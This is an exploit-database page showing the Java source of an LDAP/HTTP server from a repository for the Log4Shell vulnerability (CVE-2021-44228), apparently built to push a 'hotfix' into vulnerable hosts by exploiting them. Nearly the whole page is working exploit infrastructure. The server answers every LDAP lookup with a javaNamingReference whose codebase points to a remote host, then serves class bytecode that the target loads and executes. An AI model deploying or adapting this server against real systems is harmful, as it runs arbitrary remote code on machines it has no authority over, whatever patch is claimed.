Exploit databaseDownload repository ZIP
GH-b21fcf01953bf3b9a81ecd27792d4f2f
qingtengyun/cve-2021-44228-qingteng-online-patch
Sources for CVE-2021-44228
465 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
qingtengyun/cve-2021-44228-qingteng-online-patchRevision 22624e67f6a3
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
src/main/java/LDAPServer.java
Java · 3,925 bytesimport java.net.InetAddress;
import java.nio.ByteBuffer;
import javax.net.SocketFactory;
import javax.net.ServerSocketFactory;
import javax.net.ssl.SSLSocketFactory;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import io.undertow.Undertow;
import io.undertow.util.Headers;
import org.apache.logging.log4j.Logger;
import org.apache.logging.log4j.LogManager;
public class LDAPServer {
private static final String LDAP_BASE = "dc=qingteng,dc=cn";
static Logger logger = LogManager.getLogger(LDAPServer.class);
public static void main ( String[] args ) {
int port = 389;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
logger.info("LPAPServer listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
startHTTPServer();
}
private static void startHTTPServer(){
Undertow httpServer = Undertow.builder()
.addHttpListener(8081, "0.0.0.0")
.setHandler(httpExchange -> {
String requestURI = httpExchange.getRequestURI();
if(requestURI.endsWith("Hotfix.class")){
String[] arr = requestURI.split("/");
if(arr.length > 2) {
String uuid = arr[arr.length - 2];
if(uuid.length() < 51) {
logger.info(httpExchange.getSourceAddress() + " " + httpExchange.getRequestPath());
ByteBuffer respContents = ByteBuffer.wrap(HotfixGenerator.generate(uuid));
httpExchange.getResponseHeaders().put(Headers.CONTENT_TYPE, "application/octet-stream");
httpExchange.getResponseSender().send(respContents);
}
}
}
}).build();
httpServer.start();
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private String httpPath = "http://cve-2021-44228.qingteng.cn:8080/";
private String httpsPath = "https://cve-2021-44228.qingteng.cn/";
public OperationInterceptor ( ) {
if(System.getenv("LOG4J_HOTFIX_HTTP_PATH") != null)
this.httpPath = System.getenv("LOG4J_HOTFIX_HTTP_PATH");
if(System.getenv("LOG4J_HOTFIX_HTTPS_PATH") != null)
this.httpsPath = System.getenv("LOG4J_HOTFIX_HTTPS_PATH");
}
@Override
public void processSearchResult (InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
logger.info("processSearchResult");
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult (InMemoryInterceptedSearchResult result, String base, Entry e){
e.addAttribute("javaClassName", "Hotfix");
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", "Hotfix");
if(base.startsWith("patch")){
// Maximum compatibility
e.addAttribute("javaCodeBase", httpPath + base + "/");
} else {
e.addAttribute("javaCodeBase", httpsPath + base + "/");
}
try {
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}catch (LDAPException err){
logger.error(err);
}
}
}
}